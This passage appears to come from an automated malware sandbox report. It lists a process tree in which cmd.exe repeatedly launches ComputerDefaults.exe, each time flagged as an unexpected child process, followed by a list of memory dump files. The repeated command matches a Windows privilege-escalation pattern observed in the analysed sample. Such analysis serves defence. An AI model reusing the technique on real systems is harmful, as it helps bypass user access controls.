- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4780

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4492
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4704

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4724
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5084

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4840
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1308

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4856
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:2148

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4980
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4468

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:5016
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1532

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:5112
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4684

Network

MITRE ATT&CK Matrix

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Downloads

memory/8-120-0x000002797BF30000-0x000002797BF31000-memory.dmp

Filesize
4KB

Download
memory/8-123-0x000002797BF80000-0x000002797BF81000-memory.dmp

Filesize
4KB

Download
memory/8-119-0x000002797B900000-0x000002797B901000-memory.dmp

Filesize
4KB

Download
memory/8-118-0x000002797B8F0000-0x000002797B8F1000-memory.dmp

Filesize
4KB

Download
memory/8-121-0x000002797BF40000-0x000002797BF41000-memory.dmp

Filesize
4KB

Download
memory/8-155-0x000002797C5F0000-0x000002797C5F1000-memory.dmp

Filesize
4KB

Download
memory/8-122-0x000002797BF50000-0x000002797BF51000-memory.dmp

Filesize
4KB

Download
memory/8-116-0x0000027979F60000-0x0000027979F61000-memory.dmp

Filesize
4KB

Download
memory/8-124-0x000002797BF90000-0x000002797BF91000-memory.dmp

Filesize
4KB

Download
memory/8-125-0x000002797BFA0000-0x000002797BFA1000-memory.dmp

Filesize
4KB

Download
memory/8-126-0x000002797BFB0000-0x000002797BFB1000-memory.dmp

Filesize
4KB

Download
memory/8-117-0x0000027979F70000-0x0000027979F71000-memory.dmp

Filesize
4KB

Download
memory/8-115-0x0000027979EE0000-0x0000027979EE6000-memory.dmp

Filesize
24KB

Download
memory/2364-127-0x000002B131C40000-0x000002B131C44000-memory.dmp

Filesize
16KB

Download